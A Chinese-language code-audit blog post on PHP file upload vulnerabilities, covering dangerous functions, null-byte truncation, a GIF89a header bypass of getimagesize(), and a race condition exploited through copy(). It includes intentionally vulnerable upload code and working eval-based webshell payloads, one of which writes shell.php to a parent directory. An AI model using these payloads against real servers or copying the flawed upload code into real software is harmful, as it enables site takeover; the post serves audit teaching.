影风博客

代码审计的艺术系列 第八篇

2019-03-23

0x00 前言:

接上篇白帽子分享之代码审计的艺术系列 第七篇提到了一个上传漏洞搜索和挖掘的简单案例。 文件上传漏洞是一种非常常见的漏洞类型,也是直接获取服务器权限最直接的方式,所以快速发掘一套源码文件上传漏洞进行getshell是这篇要讨论的,主要分为危险函数、上传技巧和条件竞争漏洞三方面展开。

0x01 危险函数:

move_uploaded_file()
getimagesize()
copy()

0x02 文件上传漏洞的脑图:

0x03 上传技巧 :

PHP %00截断

截断条件:

1)PHP版本小于5.3.4,详情请查看 [CVE-2006-7243]

2)magic_quotes_gpc=Off,否则%00这种空字符会被转义为\0

搭建好满足上面两个条件的测试环境后,可以用下面的漏洞代码来测试:

<!DOCTYPE html>
<head>
<meta charset="UTF-8">
</head>
<html>
<body>
<h2>文件上传漏洞测试</h2>
<form action="" method="post" enctype="multipart/form-data">
<label>文件:</label>
<input type="file" name="file">
<input type="submit" value="submit" name="upload">
</form>
</body>
</html>
<?php
error_reporting(0);
header( 'Content-Type:text/html;charset=utf-8 ');
if(isset($_POST['upload']))
{
    $ext_arr=array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
    $_file_ext=substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);//获取后缀名
    if (in_array($_file_ext,$ext_arr)) {
        $tempFile=$_FILES['file']['tmp_name'];
        $targetPath=$_SERVER['DOCUMENT_ROOT']."/".$_REQUEST['vul'].".".$_file_ext;
        echo $targetPath;

        if(move_uploaded_file($tempFile,$targetPath))
        {
            echo '上传成功'.'<br />';
            echo '路径:'.$targetPath;
        }else{
            echo "上传失败";
        }
    }else{
        echo "上传失败";
    }
}
?>

成功截断上传获取webshell

文件头Content-type绕过

通过将上传文件里面加上”GIF89a“后进行上传在一定环境下可以绕过图片文件检测后getshell,原因是使用了类似getimagesize()这种函数对上传文件是否是图片进行判断,我们可以用如下代码进行测试:

缺陷代码:

<?php
var_dump(getimagesize("x.php"));
?>

x.php的内容:

GIF89a
<?php eval($_POST['test']);?>

测试发现加上GIF89a头后该函数会判断为x.php为图片文件

0x04 条件竞争漏洞 :

缺陷代码:

<?php
$path=$_GET['p'];
copy("image.jpg",$path);
//真实环境里会对目录下非jpg的文件进行删除,这里为了说明问题简单化处理
unlink($path);
?>

意思是利用copy函数将上传的图片image.jpg复制到$path里,然后删除目录下非jpg的文件,所以正常的攻击流程:

上传图片image.jpg–>利用copy函数生成shell.php–>shell.php被删。

shell被删就鸡肋了~

那么换个Hacker的思路:

上传头像–>生成临时文件(tmp.php)–>不断请求在上层目录生成shell.php文件–>删除当前目录下tmp.php等非jpg文件,但留下了上层目录下的shell.php文件–>成功!

所以image.jpg的代码如下:

<?php fputs(fopen('../shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>

burp进行测试,一个执行缺陷代码不断生成tmp.php如下:

一个不断访问tmp.php从而可以在上级目录下生成shell.php如下:

爆破一会儿就发现在主目录下写下shell.php了~

使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏

扫描二维码,分享此文章